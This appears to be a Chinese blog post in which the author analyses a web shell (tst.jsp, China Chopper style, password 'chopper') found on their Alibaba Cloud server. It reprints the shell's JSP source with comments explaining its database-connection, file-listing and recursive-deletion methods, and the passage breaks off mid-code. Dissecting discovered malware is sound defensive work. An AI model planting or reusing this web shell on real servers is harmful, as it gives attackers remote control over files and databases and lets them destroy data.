近来登陆阿里云,竟发现webapps/ROOT/下面多了一个tst.jsp
代码格式化了一下,每个方法都注释了下
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!String Pwd = "chopper";
String EC(String s, String c) throws Exception {
return s;
}//new String(s.getBytes("ISO-8859-1"),c);}
//依照给定的参数s连接数据库
//以回车符\r\n作为分割
//第一行是数据库驱动类名
//第二行是jdbc的url
//第三行(如果有的话)指定了具体的数据库名
Connection GC(String s) throws Exception {
String[] x = s.trim().split("\r\n");
Class.forName(x[0].trim()).newInstance();
Connection c = DriverManager.getConnection(x[1].trim());
if (x.length > 2) {
c.setCatalog(x[2].trim());
}
return c;
}
//得到系统中所有根目录下 的每一个文件的名字的前两个字母,写入StringBuffer
void AA(StringBuffer sb) throws Exception {
File r[] = File.listRoots();
for (int i = 0; i < r.length; i++) {
sb.append(r[i].toString().substring(0, 2));
}
}
//得到指定路径下所有文件的 文件名、最后一次修改时间、文件大小、是否可读可写属性,写入StringBuffer
void BB(String s, StringBuffer sb) throws Exception {
File oF = new File(s), l[] = oF.listFiles();
String sT, sQ, sF = "";
java.util.Date dt;
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
if (l[i].isDirectory()) {
sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()
+ "\t" + sQ + "\n");
} else {
sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"
+ sQ + "\n";
}
}
sb.append(sF);
}
//迭代删除给定路径下的所有文件和文件夹
void EE(String s) throws Exception {
File f = new File(s);
if (f.isDirectory()) {
File x[